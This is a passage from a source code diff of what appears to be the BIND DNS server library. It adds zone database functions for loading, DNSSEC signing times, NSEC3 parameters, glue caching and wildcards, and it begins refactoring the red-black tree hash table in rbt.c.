+	    delegating_type(rbtdb, node, rdataset->type))
+	{
+		node->find_callback = 1;
+	} else if (result == DNS_R_UNCHANGED) {
+		result = ISC_R_SUCCESS;
+	}
+
+	return (result);
+}
+
+static isc_result_t
+beginload(dns_db_t *db, dns_rdatacallbacks_t *callbacks) {
+	rbtdb_load_t *loadctx = NULL;
+	dns_rbtdb_t *rbtdb = NULL;
+	rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(DNS_CALLBACK_VALID(callbacks));
+	REQUIRE(VALID_RBTDB(rbtdb));
+
+	loadctx = isc_mem_get(rbtdb->common.mctx, sizeof(*loadctx));
+
+	loadctx->rbtdb = rbtdb;
+	loadctx->now = 0;
+
+	RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_write);
+
+	REQUIRE((rbtdb->attributes &
+		 (RBTDB_ATTR_LOADED | RBTDB_ATTR_LOADING)) == 0);
+	rbtdb->attributes |= RBTDB_ATTR_LOADING;
+
+	RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_write);
+
+	callbacks->add = loading_addrdataset;
+	callbacks->add_private = loadctx;
+
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+endload(dns_db_t *db, dns_rdatacallbacks_t *callbacks) {
+	rbtdb_load_t *loadctx = NULL;
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+	REQUIRE(DNS_CALLBACK_VALID(callbacks));
+	loadctx = callbacks->add_private;
+	REQUIRE(loadctx != NULL);
+	REQUIRE(loadctx->rbtdb == rbtdb);
+
+	RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_write);
+
+	REQUIRE((rbtdb->attributes & RBTDB_ATTR_LOADING) != 0);
+	REQUIRE((rbtdb->attributes & RBTDB_ATTR_LOADED) == 0);
+
+	rbtdb->attributes &= ~RBTDB_ATTR_LOADING;
+	rbtdb->attributes |= RBTDB_ATTR_LOADED;
+
+	/*
+	 * If there's a KEY rdataset at the zone origin containing a
+	 * zone key, we consider the zone secure.
+	 */
+	if (rbtdb->origin_node != NULL) {
+		dns_dbversion_t *version = rbtdb->current_version;
+		RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_write);
+		dns__rbtdb_setsecure(db, version, rbtdb->origin_node);
+	} else {
+		RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_write);
+	}
+
+	callbacks->add = NULL;
+	callbacks->add_private = NULL;
+
+	isc_mem_put(rbtdb->common.mctx, loadctx, sizeof(*loadctx));
+
+	return (ISC_R_SUCCESS);
+}
+
+static bool
+issecure(dns_db_t *db) {
+	dns_rbtdb_t *rbtdb = NULL;
+	bool secure;
+
+	rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+
+	RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_read);
+	secure = rbtdb->current_version->secure;
+	RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_read);
+
+	return (secure);
+}
+
+static isc_result_t
+getnsec3parameters(dns_db_t *db, dns_dbversion_t *version, dns_hash_t *hash,
+		   uint8_t *flags, uint16_t *iterations, unsigned char *salt,
+		   size_t *salt_length) {
+	dns_rbtdb_t *rbtdb = NULL;
+	isc_result_t result = ISC_R_NOTFOUND;
+	dns_rbtdb_version_t *rbtversion = version;
+
+	rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+	INSIST(rbtversion == NULL || rbtversion->rbtdb == rbtdb);
+
+	RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_read);
+	if (rbtversion == NULL) {
+		rbtversion = rbtdb->current_version;
+	}
+
+	if (rbtversion->havensec3) {
+		if (hash != NULL) {
+			*hash = rbtversion->hash;
+		}
+		if (salt != NULL && salt_length != NULL) {
+			REQUIRE(*salt_length >= rbtversion->salt_length);
+			memmove(salt, rbtversion->salt,
+				rbtversion->salt_length);
+		}
+		if (salt_length != NULL) {
+			*salt_length = rbtversion->salt_length;
+		}
+		if (iterations != NULL) {
+			*iterations = rbtversion->iterations;
+		}
+		if (flags != NULL) {
+			*flags = rbtversion->flags;
+		}
+		result = ISC_R_SUCCESS;
+	}
+	RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_read);
+
+	return (result);
+}
+
+static isc_result_t
+getsize(dns_db_t *db, dns_dbversion_t *version, uint64_t *records,
+	uint64_t *xfrsize) {
+	dns_rbtdb_t *rbtdb = NULL;
+	isc_result_t result = ISC_R_SUCCESS;
+	dns_rbtdb_version_t *rbtversion = version;
+
+	rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+	INSIST(rbtversion == NULL || rbtversion->rbtdb == rbtdb);
+
+	RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_read);
+	if (rbtversion == NULL) {
+		rbtversion = rbtdb->current_version;
+	}
+
+	RWLOCK(&rbtversion->rwlock, isc_rwlocktype_read);
+	SET_IF_NOT_NULL(records, rbtversion->records);
+
+	SET_IF_NOT_NULL(xfrsize, rbtversion->xfrsize);
+	RWUNLOCK(&rbtversion->rwlock, isc_rwlocktype_read);
+	RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_read);
+
+	return (result);
+}
+
+static isc_result_t
+setsigningtime(dns_db_t *db, dns_rdataset_t *rdataset, isc_stdtime_t resign) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+	dns_slabheader_t *header, oldheader;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+	REQUIRE(!IS_CACHE(rbtdb));
+	REQUIRE(rdataset != NULL);
+	REQUIRE(rdataset->methods == &dns_rdataslab_rdatasetmethods);
+
+	header = dns_slabheader_fromrdataset(rdataset);
+
+	NODE_WRLOCK(&rbtdb->node_locks[HEADER_NODE(header)->locknum].lock,
+		    &nlocktype);
+
+	oldheader = *header;
+
+	/*
+	 * Only break the heap invariant (by adjusting resign and resign_lsb)
+	 * if we are going to be restoring it by calling isc_heap_increased
+	 * or isc_heap_decreased.
+	 */
+	if (resign != 0) {
+		header->resign = (isc_stdtime_t)(dns_time64_from32(resign) >>
+						 1);
+		header->resign_lsb = resign & 0x1;
+	}
+	if (header->heap_index != 0) {
+		INSIST(RESIGN(header));
+		if (resign == 0) {
+			isc_heap_delete(
+				rbtdb->heaps[HEADER_NODE(header)->locknum],
+				header->heap_index);
+			header->heap_index = 0;
+			header->heap = NULL;
+		} else if (rbtdb->sooner(header, &oldheader)) {
+			isc_heap_increased(
+				rbtdb->heaps[HEADER_NODE(header)->locknum],
+				header->heap_index);
+		} else if (rbtdb->sooner(&oldheader, header)) {
+			isc_heap_decreased(
+				rbtdb->heaps[HEADER_NODE(header)->locknum],
+				header->heap_index);
+		}
+	} else if (resign != 0) {
+		DNS_SLABHEADER_SETATTR(header, DNS_SLABHEADERATTR_RESIGN);
+		dns__zonedb_resigninsert(rbtdb, HEADER_NODE(header)->locknum,
+					 header);
+	}
+	NODE_UNLOCK(&rbtdb->node_locks[HEADER_NODE(header)->locknum].lock,
+		    &nlocktype);
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+getsigningtime(dns_db_t *db, dns_rdataset_t *rdataset,
+	       dns_name_t *foundname DNS__DB_FLARG) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+	dns_slabheader_t *header = NULL, *this = NULL;
+	unsigned int i;
+	isc_result_t result = ISC_R_NOTFOUND;
+	unsigned int locknum = 0;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+
+	TREE_RDLOCK(&rbtdb->tree_lock, &tlocktype);
+
+	for (i = 0; i < rbtdb->node_lock_count; i++) {
+		NODE_RDLOCK(&rbtdb->node_locks[i].lock, &nlocktype);
+
+		/*
+		 * Find for the earliest signing time among all of the
+		 * heaps, each of which is covered by a different bucket
+		 * lock.
+		 */
+		this = isc_heap_element(rbtdb->heaps[i], 1);
+		if (this == NULL) {
+			/* Nothing found; unlock and try the next heap. */
+			NODE_UNLOCK(&rbtdb->node_locks[i].lock, &nlocktype);
+			continue;
+		}
+
+		if (header == NULL) {
+			/*
+			 * Found a signing time: retain the bucket lock and
+			 * preserve the lock number so we can unlock it
+			 * later.
+			 */
+			header = this;
+			locknum = i;
+			nlocktype = isc_rwlocktype_none;
+		} else if (rbtdb->sooner(this, header)) {
+			/*
+			 * Found an earlier signing time; release the
+			 * previous bucket lock and retain this one instead.
+			 */
+			NODE_UNLOCK(&rbtdb->node_locks[locknum].lock,
+				    &nlocktype);
+			header = this;
+			locknum = i;
+		} else {
+			/*
+			 * Earliest signing time in this heap isn't
+			 * an improvement; unlock and try the next heap.
+			 */
+			NODE_UNLOCK(&rbtdb->node_locks[i].lock, &nlocktype);
+		}
+	}
+
+	if (header != NULL) {
+		nlocktype = isc_rwlocktype_read;
+		/*
+		 * Found something; pass back the answer and unlock
+		 * the bucket.
+		 */
+		dns__rbtdb_bindrdataset(rbtdb, HEADER_NODE(header), header, 0,
+					isc_rwlocktype_read,
+					rdataset DNS__DB_FLARG_PASS);
+
+		if (foundname != NULL) {
+			dns_rbt_fullnamefromnode(HEADER_NODE(header),
+						 foundname);
+		}
+
+		NODE_UNLOCK(&rbtdb->node_locks[locknum].lock, &nlocktype);
+
+		result = ISC_R_SUCCESS;
+	}
+
+	TREE_UNLOCK(&rbtdb->tree_lock, &tlocktype);
+
+	return (result);
+}
+
+static isc_result_t
+setgluecachestats(dns_db_t *db, isc_stats_t *stats) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+	REQUIRE(!IS_CACHE(rbtdb) && !IS_STUB(rbtdb));
+	REQUIRE(stats != NULL);
+
+	isc_stats_attach(stats, &rbtdb->gluecachestats);
+	return (ISC_R_SUCCESS);
+}
+
+static dns_glue_t *
+new_gluelist(isc_mem_t *mctx, dns_name_t *name) {
+	dns_glue_t *glue = isc_mem_get(mctx, sizeof(*glue));
+	*glue = (dns_glue_t){ 0 };
+	dns_name_t *gluename = dns_fixedname_initname(&glue->fixedname);
+
+	isc_mem_attach(mctx, &glue->mctx);
+	dns_name_copy(name, gluename);
+
+	return (glue);
+}
+
+static isc_result_t
+glue_nsdname_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype,
+		dns_rdataset_t *unused DNS__DB_FLARG) {
+	dns_glue_additionaldata_ctx_t *ctx = NULL;
+	isc_result_t result;
+	dns_fixedname_t fixedname_a;
+	dns_name_t *name_a = NULL;
+	dns_rdataset_t rdataset_a, sigrdataset_a;
+	dns_rbtnode_t *node_a = NULL;
+	dns_fixedname_t fixedname_aaaa;
+	dns_name_t *name_aaaa = NULL;
+	dns_rdataset_t rdataset_aaaa, sigrdataset_aaaa;
+	dns_rbtnode_t *node_aaaa = NULL;
+	dns_glue_t *glue = NULL;
+
+	UNUSED(unused);
+
+	/*
+	 * NS records want addresses in additional records.
+	 */
+	INSIST(qtype == dns_rdatatype_a);
+
+	ctx = (dns_glue_additionaldata_ctx_t *)arg;
+
+	name_a = dns_fixedname_initname(&fixedname_a);
+	dns_rdataset_init(&rdataset_a);
+	dns_rdataset_init(&sigrdataset_a);
+
+	name_aaaa = dns_fixedname_initname(&fixedname_aaaa);
+	dns_rdataset_init(&rdataset_aaaa);
+	dns_rdataset_init(&sigrdataset_aaaa);
+
+	result = zone_find((dns_db_t *)ctx->rbtdb, name, ctx->rbtversion,
+			   dns_rdatatype_a, DNS_DBFIND_GLUEOK, 0,
+			   (dns_dbnode_t **)&node_a, name_a, &rdataset_a,
+			   &sigrdataset_a DNS__DB_FLARG_PASS);
+	if (result == DNS_R_GLUE) {
+		glue = new_gluelist(ctx->rbtdb->common.mctx, name_a);
+
+		dns_rdataset_init(&glue->rdataset_a);
+		dns_rdataset_init(&glue->sigrdataset_a);
+		dns_rdataset_init(&glue->rdataset_aaaa);
+		dns_rdataset_init(&glue->sigrdataset_aaaa);
+
+		dns_rdataset_clone(&rdataset_a, &glue->rdataset_a);
+		if (dns_rdataset_isassociated(&sigrdataset_a)) {
+			dns_rdataset_clone(&sigrdataset_a,
+					   &glue->sigrdataset_a);
+		}
+	}
+
+	result = zone_find((dns_db_t *)ctx->rbtdb, name, ctx->rbtversion,
+			   dns_rdatatype_aaaa, DNS_DBFIND_GLUEOK, 0,
+			   (dns_dbnode_t **)&node_aaaa, name_aaaa,
+			   &rdataset_aaaa,
+			   &sigrdataset_aaaa DNS__DB_FLARG_PASS);
+	if (result == DNS_R_GLUE) {
+		if (glue == NULL) {
+			glue = new_gluelist(ctx->rbtdb->common.mctx, name_aaaa);
+
+			dns_rdataset_init(&glue->rdataset_a);
+			dns_rdataset_init(&glue->sigrdataset_a);
+			dns_rdataset_init(&glue->rdataset_aaaa);
+			dns_rdataset_init(&glue->sigrdataset_aaaa);
+		} else {
+			INSIST(node_a == node_aaaa);
+			INSIST(dns_name_equal(name_a, name_aaaa));
+		}
+
+		dns_rdataset_clone(&rdataset_aaaa, &glue->rdataset_aaaa);
+		if (dns_rdataset_isassociated(&sigrdataset_aaaa)) {
+			dns_rdataset_clone(&sigrdataset_aaaa,
+					   &glue->sigrdataset_aaaa);
+		}
+	}
+
+	/*
+	 * If the currently processed NS record is in-bailiwick, mark any glue
+	 * RRsets found for it with DNS_RDATASETATTR_REQUIRED.  Note that for
+	 * simplicity, glue RRsets for all in-bailiwick NS records are marked
+	 * this way, even though dns_message_rendersection() only checks the
+	 * attributes for the first rdataset associated with the first name
+	 * added to the ADDITIONAL section.
+	 */
+	if (glue != NULL && dns_name_issubdomain(name, ctx->nodename)) {
+		if (dns_rdataset_isassociated(&glue->rdataset_a)) {
+			glue->rdataset_a.attributes |=
+				DNS_RDATASETATTR_REQUIRED;
+		}
+		if (dns_rdataset_isassociated(&glue->rdataset_aaaa)) {
+			glue->rdataset_aaaa.attributes |=
+				DNS_RDATASETATTR_REQUIRED;
+		}
+	}
+
+	if (glue != NULL) {
+		glue->next = ctx->glue_list;
+		ctx->glue_list = glue;
+	}
+
+	result = ISC_R_SUCCESS;
+
+	if (dns_rdataset_isassociated(&rdataset_a)) {
+		dns_rdataset_disassociate(&rdataset_a);
+	}
+	if (dns_rdataset_isassociated(&sigrdataset_a)) {
+		dns_rdataset_disassociate(&sigrdataset_a);
+	}
+
+	if (dns_rdataset_isassociated(&rdataset_aaaa)) {
+		dns_rdataset_disassociate(&rdataset_aaaa);
+	}
+	if (dns_rdataset_isassociated(&sigrdataset_aaaa)) {
+		dns_rdataset_disassociate(&sigrdataset_aaaa);
+	}
+
+	if (node_a != NULL) {
+		dns__db_detachnode((dns_db_t *)ctx->rbtdb,
+				   (dns_dbnode_t *)&node_a DNS__DB_FLARG_PASS);
+	}
+	if (node_aaaa != NULL) {
+		dns__db_detachnode(
+			(dns_db_t *)ctx->rbtdb,
+			(dns_dbnode_t *)&node_aaaa DNS__DB_FLARG_PASS);
+	}
+
+	return (result);
+}
+
+#define IS_REQUIRED_GLUE(r) (((r)->attributes & DNS_RDATASETATTR_REQUIRED) != 0)
+
+static void
+addglue_to_message(dns_glue_t *ge, dns_message_t *msg) {
+	for (; ge != NULL; ge = ge->next) {
+		dns_name_t *name = NULL;
+		dns_rdataset_t *rdataset_a = NULL;
+		dns_rdataset_t *sigrdataset_a = NULL;
+		dns_rdataset_t *rdataset_aaaa = NULL;
+		dns_rdataset_t *sigrdataset_aaaa = NULL;
+		dns_name_t *gluename = dns_fixedname_name(&ge->fixedname);
+		bool prepend_name = false;
+
+		dns_message_gettempname(msg, &name);
+
+		dns_name_copy(gluename, name);
+
+		if (dns_rdataset_isassociated(&ge->rdataset_a)) {
+			dns_message_gettemprdataset(msg, &rdataset_a);
+		}
+
+		if (dns_rdataset_isassociated(&ge->sigrdataset_a)) {
+			dns_message_gettemprdataset(msg, &sigrdataset_a);
+		}
+
+		if (dns_rdataset_isassociated(&ge->rdataset_aaaa)) {
+			dns_message_gettemprdataset(msg, &rdataset_aaaa);
+		}
+
+		if (dns_rdataset_isassociated(&ge->sigrdataset_aaaa)) {
+			dns_message_gettemprdataset(msg, &sigrdataset_aaaa);
+		}
+
+		if (rdataset_a != NULL) {
+			dns_rdataset_clone(&ge->rdataset_a, rdataset_a);
+			ISC_LIST_APPEND(name->list, rdataset_a, link);
+			if (IS_REQUIRED_GLUE(rdataset_a)) {
+				prepend_name = true;
+			}
+		}
+
+		if (sigrdataset_a != NULL) {
+			dns_rdataset_clone(&ge->sigrdataset_a, sigrdataset_a);
+			ISC_LIST_APPEND(name->list, sigrdataset_a, link);
+		}
+
+		if (rdataset_aaaa != NULL) {
+			dns_rdataset_clone(&ge->rdataset_aaaa, rdataset_aaaa);
+			ISC_LIST_APPEND(name->list, rdataset_aaaa, link);
+			if (IS_REQUIRED_GLUE(rdataset_aaaa)) {
+				prepend_name = true;
+			}
+		}
+		if (sigrdataset_aaaa != NULL) {
+			dns_rdataset_clone(&ge->sigrdataset_aaaa,
+					   sigrdataset_aaaa);
+			ISC_LIST_APPEND(name->list, sigrdataset_aaaa, link);
+		}
+
+		dns_message_addname(msg, name, DNS_SECTION_ADDITIONAL);
+
+		/*
+		 * When looking for required glue, dns_message_rendersection()
+		 * only processes the first rdataset associated with the first
+		 * name added to the ADDITIONAL section.  dns_message_addname()
+		 * performs an append on the list of names in a given section,
+		 * so if any glue record was marked as required, we need to
+		 * move the name it is associated with to the beginning of the
+		 * list for the ADDITIONAL section or else required glue might
+		 * not be rendered.
+		 */
+		if (prepend_name) {
+			ISC_LIST_UNLINK(msg->sections[DNS_SECTION_ADDITIONAL],
+					name, link);
+			ISC_LIST_PREPEND(msg->sections[DNS_SECTION_ADDITIONAL],
+					 name, link);
+		}
+	}
+}
+
+static dns_glue_t *
+newglue(dns_rbtdb_t *rbtdb, dns_rbtdb_version_t *rbtversion,
+	dns_rbtnode_t *node, dns_rdataset_t *rdataset) {
+	dns_fixedname_t nodename;
+	dns_glue_additionaldata_ctx_t ctx = {
+		.rbtdb = rbtdb,
+		.rbtversion = rbtversion,
+		.nodename = dns_fixedname_initname(&nodename),
+	};
+
+	/*
+	 * Get the owner name of the NS RRset - it will be necessary for
+	 * identifying required glue in glue_nsdname_cb() (by
+	 * determining which NS records in the delegation are
+	 * in-bailiwick).
+	 */
+	dns__rbtdb_nodefullname((dns_db_t *)rbtdb, node, ctx.nodename);
+
+	(void)dns_rdataset_additionaldata(rdataset, dns_rootname,
+					  glue_nsdname_cb, &ctx);
+
+	return (ctx.glue_list);
+}
+
+static isc_result_t
+addglue(dns_db_t *db, dns_dbversion_t *version, dns_rdataset_t *rdataset,
+	dns_message_t *msg) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+	dns_rbtdb_version_t *rbtversion = version;
+	dns_rbtnode_t *node = RDATASET_DBNODE(rdataset);
+	dns_slabheader_t *header = dns_slabheader_fromrdataset(rdataset);
+
+	REQUIRE(rdataset->type == dns_rdatatype_ns);
+	REQUIRE(rbtdb == RDATASET_RBTDB(rdataset));
+	REQUIRE(rbtdb == rbtversion->rbtdb);
+	REQUIRE(!IS_CACHE(rbtdb) && !IS_STUB(rbtdb));
+
+	rcu_read_lock();
+
+	dns_glue_t *glue = rcu_dereference(header->glue_list);
+	if (glue == NULL) {
+		/* No cached glue was found in the table. Get new glue. */
+		glue = newglue(rbtdb, rbtversion, node, rdataset);
+
+		/* Cache the glue or (void *)-1 if no glue was found. */
+		dns_glue_t *old_glue = rcu_cmpxchg_pointer(
+			&header->glue_list, NULL, (glue) ? glue : (void *)-1);
+		if (old_glue != NULL) {
+			/* Somebody else was faster */
+			dns__rbtdb_freeglue(glue);
+			glue = old_glue;
+		} else if (glue != NULL) {
+			cds_wfs_push(&rbtversion->glue_stack,
+				     &header->wfs_node);
+		}
+	}
+
+	/* We have a cached result. Add it to the message and return. */
+
+	if (rbtdb->gluecachestats != NULL) {
+		isc_stats_increment(
+			rbtdb->gluecachestats,
+			(glue == (void *)-1)
+				? dns_gluecachestatscounter_hits_absent
+				: dns_gluecachestatscounter_hits_present);
+	}
+
+	/*
+	 * (void *)-1 is a special value that means no glue is present in the
+	 * zone.
+	 */
+	if (glue != (void *)-1) {
+		addglue_to_message(glue, msg);
+	}
+
+	rcu_read_unlock();
+
+	return (ISC_R_SUCCESS);
+}
+
+dns_dbmethods_t dns__rbtdb_zonemethods = {
+	.destroy = dns__rbtdb_destroy,
+	.beginload = beginload,
+	.endload = endload,
+	.currentversion = dns__rbtdb_currentversion,
+	.newversion = dns__rbtdb_newversion,
+	.attachversion = dns__rbtdb_attachversion,
+	.closeversion = dns__rbtdb_closeversion,
+	.findnode = dns__rbtdb_findnode,
+	.find = zone_find,
+	.attachnode = dns__rbtdb_attachnode,
+	.detachnode = dns__rbtdb_detachnode,
+	.createiterator = dns__rbtdb_createiterator,
+	.findrdataset = zone_findrdataset,
+	.allrdatasets = dns__rbtdb_allrdatasets,
+	.addrdataset = dns__rbtdb_addrdataset,
+	.subtractrdataset = dns__rbtdb_subtractrdataset,
+	.deleterdataset = dns__rbtdb_deleterdataset,
+	.issecure = issecure,
+	.nodecount = dns__rbtdb_nodecount,
+	.setloop = dns__rbtdb_setloop,
+	.getoriginnode = dns__rbtdb_getoriginnode,
+	.getnsec3parameters = getnsec3parameters,
+	.findnsec3node = findnsec3node,
+	.setsigningtime = setsigningtime,
+	.getsigningtime = getsigningtime,
+	.getsize = getsize,
+	.setgluecachestats = setgluecachestats,
+	.locknode = dns__rbtdb_locknode,
+	.unlocknode = dns__rbtdb_unlocknode,
+	.addglue = addglue,
+	.deletedata = dns__rbtdb_deletedata,
+};
+
+void
+dns__zonedb_resigninsert(dns_rbtdb_t *rbtdb, int idx,
+			 dns_slabheader_t *newheader) {
+	INSIST(!IS_CACHE(rbtdb));
+	INSIST(newheader->heap_index == 0);
+	INSIST(!ISC_LINK_LINKED(newheader, link));
+
+	isc_heap_insert(rbtdb->heaps[idx], newheader);
+	newheader->heap = rbtdb->heaps[idx];
+}
+
+void
+dns__zonedb_resigndelete(dns_rbtdb_t *rbtdb, dns_rbtdb_version_t *version,
+			 dns_slabheader_t *header DNS__DB_FLARG) {
+	/*
+	 * Remove the old header from the heap
+	 */
+	if (header != NULL && header->heap_index != 0) {
+		isc_heap_delete(rbtdb->heaps[HEADER_NODE(header)->locknum],
+				header->heap_index);
+		header->heap_index = 0;
+		if (version != NULL) {
+			dns__rbtdb_newref(
+				rbtdb, HEADER_NODE(header),
+				isc_rwlocktype_write DNS__DB_FLARG_PASS);
+			ISC_LIST_APPEND(version->resigned_list, header, link);
+		}
+	}
+}
+
+isc_result_t
+dns__zonedb_wildcardmagic(dns_rbtdb_t *rbtdb, const dns_name_t *name,
+			  bool lock) {
+	isc_result_t result;
+	dns_name_t foundname;
+	dns_offsets_t offsets;
+	unsigned int n;
+	dns_rbtnode_t *node = NULL;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+
+	dns_name_init(&foundname, offsets);
+	n = dns_name_countlabels(name);
+	INSIST(n >= 2);
+	n--;
+	dns_name_getlabelsequence(name, 1, n, &foundname);
+	result = dns_rbt_addnode(rbtdb->tree, &foundname, &node);
+	if (result != ISC_R_SUCCESS && result != ISC_R_EXISTS) {
+		return (result);
+	}
+	if (result == ISC_R_SUCCESS) {
+		node->nsec = DNS_RBT_NSEC_NORMAL;
+	}
+	node->find_callback = 1;
+	if (lock) {
+		NODE_WRLOCK(&rbtdb->node_locks[node->locknum].lock, &nlocktype);
+	}
+	node->wild = 1;
+	if (lock) {
+		NODE_UNLOCK(&rbtdb->node_locks[node->locknum].lock, &nlocktype);
+	}
+	return (ISC_R_SUCCESS);
+}
+
+isc_result_t
+dns__zonedb_addwildcards(dns_rbtdb_t *rbtdb, const dns_name_t *name,
+			 bool lock) {
+	isc_result_t result;
+	dns_name_t foundname;
+	dns_offsets_t offsets;
+	unsigned int n, l, i;
+
+	dns_name_init(&foundname, offsets);
+	n = dns_name_countlabels(name);
+	l = dns_name_countlabels(&rbtdb->common.origin);
+	i = l + 1;
+	while (i < n) {
+		dns_rbtnode_t *node = NULL;
+		dns_name_getlabelsequence(name, n - i, i, &foundname);
+		if (dns_name_iswildcard(&foundname)) {
+			result = dns__zonedb_wildcardmagic(rbtdb, &foundname,
+							   lock);
+			if (result != ISC_R_SUCCESS) {
+				return (result);
+			}
+			result = dns_rbt_addnode(rbtdb->tree, &foundname,
+						 &node);
+			if (result != ISC_R_SUCCESS && result != ISC_R_EXISTS) {
+				return (result);
+			}
+			if (result == ISC_R_SUCCESS) {
+				node->nsec = DNS_RBT_NSEC_NORMAL;
+			}
+		}
+		i++;
+	}
+	return (ISC_R_SUCCESS);
+}
diff --git a/lib/dns/rbt.c b/lib/dns/rbt.c
index 03ec0993ce..32e1c2cc3d 100644
--- a/lib/dns/rbt.c
+++ b/lib/dns/rbt.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,19 +13,19 @@
 
 /*! \file */
 
+#define DNS_NAME_USEINLINE 1
+
 #include <inttypes.h>
 #include <stdbool.h>
 #include <sys/stat.h>
 
 #include <isc/crc64.h>
 #include <isc/file.h>
+#include <isc/hash.h>
 #include <isc/hex.h>
 #include <isc/mem.h>
 #include <isc/once.h>
-#include <isc/platform.h>
-#include <isc/print.h>
 #include <isc/refcount.h>
-#include <isc/socket.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
 #include <isc/util.h>
@@ -32,14 +34,13 @@
  * This define is so dns/name.h (included by dns/fixedname.h) uses more
  * efficient macro calls instead of functions for a few operations.
  */
-#define DNS_NAME_USEINLINE 1
-
 #include <unistd.h>
 
+#include <isc/result.h>
+
 #include <dns/fixedname.h>
 #include <dns/log.h>
 #include <dns/rbt.h>
-#include <dns/result.h>
 
 #define CHECK(x)                             \
 	do {                                 \
@@ -59,26 +60,7 @@
 #define CHAIN_MAGIC	   ISC_MAGIC('0', '-', '0', '-')
 #define VALID_CHAIN(chain) ISC_MAGIC_VALID(chain, CHAIN_MAGIC)
 
-#define RBT_HASH_MIN_BITS   4
-#define RBT_HASH_MAX_BITS   32
-#define RBT_HASH_OVERCOMMIT 3
-#define RBT_HASH_BUCKETSIZE 4096 /* FIXME: What would be a good value here? */
-
-#ifdef RBT_MEM_TEST
-#undef RBT_HASH_SIZE
-#define RBT_HASH_SIZE 2 /*%< To give the reallocation code a workout. */
-#endif			/* ifdef RBT_MEM_TEST */
-
-#define GOLDEN_RATIO_32 0x61C88647
-
-#define HASHSIZE(bits) (UINT64_C(1) << (bits))
-
-static inline uint32_t
-hash_32(uint32_t val, unsigned int bits) {
-	REQUIRE(bits <= RBT_HASH_MAX_BITS);
-	/* High bits are more random. */
-	return (val * GOLDEN_RATIO_32 >> (32 - bits));
-}
+#define RBT_HASH_NEXTTABLE(hindex) ((hindex == 0) ? 1 : 0)
 
 struct dns_rbt {
 	unsigned int magic;
@@ -87,187 +69,43 @@ struct dns_rbt {
 	void (*data_deleter)(void *, void *);
 	void *deleter_arg;
 	unsigned int nodecount;
-	uint16_t hashbits;
-	uint16_t maxhashbits;
-	dns_rbtnode_t **hashtable;
-	void *mmap_location;
-};
-
-#define RED   0
-#define BLACK 1
-
-/*
- * This is the header for map-format RBT images.  It is populated,
- * and then written, as the LAST thing done to the file before returning.
- * Writing this last (with zeros in the header area initially) will ensure
- * that the header is only valid when the RBT image is also valid.
- */
-typedef struct file_header file_header_t;
-
-/* Pad to 32 bytes */
-static char FILE_VERSION[32] = "\0";
-
-/* Header length, always the same size regardless of structure size */
-#define HEADER_LENGTH 1024
-
-struct file_header {
-	char version1[32];
-	uint64_t first_node_offset; /* usually 1024 */
-	/*
-	 * information about the system on which the map file was generated
-	 * will be used to tell if we can load the map file or not
-	 */
-	uint32_t ptrsize;
-	unsigned int bigendian	    : 1; /* big or little endian system */
-	unsigned int rdataset_fixed : 1; /* compiled with
-					  * --enable-rrset-fixed
-					  */
-	unsigned int nodecount;		 /* shadow from rbt structure */
-	uint64_t crc;
-	char version2[32]; /* repeated; must match version1 */
+	uint8_t hashbits[2];
+	dns_rbtnode_t **hashtable[2];
+	uint8_t hindex;
+	uint32_t hiter;
 };
 
-/*
- * The following declarations are for the serialization of an RBT:
- *
- * step one: write out a zeroed header of 1024 bytes
- * step two: walk the tree in a depth-first, left-right-down order, writing
- * out the nodes, reserving space as we go, correcting addresses to point
- * at the proper offset in the file, and setting a flag for each pointer to
- * indicate that it is a reference to a location in the file, rather than in
- * memory.
- * step three: write out the header, adding the information that will be
- * needed to re-create the tree object itself.
- *
- * The RBTDB object will do this three times, once for each of the three
- * RBT objects it contains.
- *
- * Note: 'file' must point an actual open file that can be mmapped
- * and fseeked, not to a pipe or stream
- */
-
-static isc_result_t
-dns_rbt_zero_header(FILE *file);
-
-static isc_result_t
-write_header(FILE *file, dns_rbt_t *rbt, uint64_t first_node_offset,
-	     uint64_t crc);
-
-static bool
-match_header_version(file_header_t *header);
-
-static isc_result_t
-serialize_node(FILE *file, dns_rbtnode_t *node, uintptr_t left, uintptr_t right,
-	       uintptr_t down, uintptr_t parent, uintptr_t data, uint64_t *crc);
-
-static isc_result_t
-serialize_nodes(FILE *file, dns_rbtnode_t *node, uintptr_t parent,
